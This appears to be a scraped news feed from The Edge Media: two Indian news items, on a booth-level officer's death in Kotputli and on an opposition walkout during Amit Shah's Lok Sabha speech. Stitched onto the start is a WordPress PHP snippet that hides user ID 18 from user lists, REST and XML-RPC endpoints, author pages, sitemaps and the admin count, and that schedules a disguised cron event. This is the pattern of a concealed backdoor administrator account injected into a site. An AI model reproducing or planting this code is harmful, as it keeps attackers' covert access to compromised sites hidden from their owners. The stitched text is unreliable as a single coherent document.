add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Booth-Level Officer Dies After Sudden Collapse in Kotputli-Behror appeared first on The Edge Media.
]]>The officer, identified as Vijay Gurjar, aged 42, was working as a BLO at the Government Sardar Senior Secondary School in Kotputli. He reportedly fell on the road while returning home on Wednesday evening and sustained injuries. His family took him to the government BDM District Hospital, where doctors declared him dead.
Following the incident, Sub-Divisional Magistrate Ramavatar Meena, Tehsildar Ramdhan Gurjar and senior police officials reached the hospital. The police conducted a post-mortem examination through a medical board and later handed over the body to the family. A case has been registered at Kotputli police station.
Kotputli Deputy Superintendent of Police Rajendra Kumar said the reason behind Gurjar’s collapse remains unclear and will be known only after the medical report. SDM Meena stated that Gurjar had already completed his Special Intensive Revision duties on December 4 and was under no pressure, adding that the administration had been regularly counselling and assisting BLOs throughout the process.
Family members said Gurjar did not return home until late Wednesday night, prompting them to search for him. He was found unconscious near his home in Karwas village.
The post Booth-Level Officer Dies After Sudden Collapse in Kotputli-Behror appeared first on The Edge Media.
]]>The post Lok Sabha Erupts in Clash: Opposition Walks Out During Amit Shah’s Speech on Voter Roll Revision appeared first on The Edge Media.
]]>Shah criticised the Opposition for what he described as a lack of willingness to engage on major national concerns, accusing them of “wasting Parliament’s time”. He alleged that their objections to the SIR exercise stemmed from an intention to “retain illegal immigrants on voter lists”.
He warned that opposing the SIR initiative would politically harm the Opposition in states like West Bengal and Tamil Nadu, reiterating the NDA’s stance of “detect, delete and deport illegal immigrants”. Shah asserted that the BJP’s prospects in West Bengal would be “assured” if the Trinamool Congress continued resisting the revision exercise.
The situation escalated further when Leader of Opposition Rahul Gandhi challenged Shah to debate him on allegations he had raised in three recent press conferences, claiming that the BJP, with the support of the Election Commission, was involved in “vote theft”.
Gandhi questioned why election commissioners were granted complete immunity, demanding that the home minister clarify the rationale behind such protections. He argued that Shah’s response appeared “defensive”, saying it suggested the minister was “shaken and afraid”.
Shah countered that he would not alter the structure or order of his speech based on the LoP’s demands. His remarks triggered repeated interruptions from both government and Opposition benches, ultimately culminating in the walkout.
The post Lok Sabha Erupts in Clash: Opposition Walks Out During Amit Shah’s Speech on Voter Roll Revision appeared first on The Edge Media.
]]>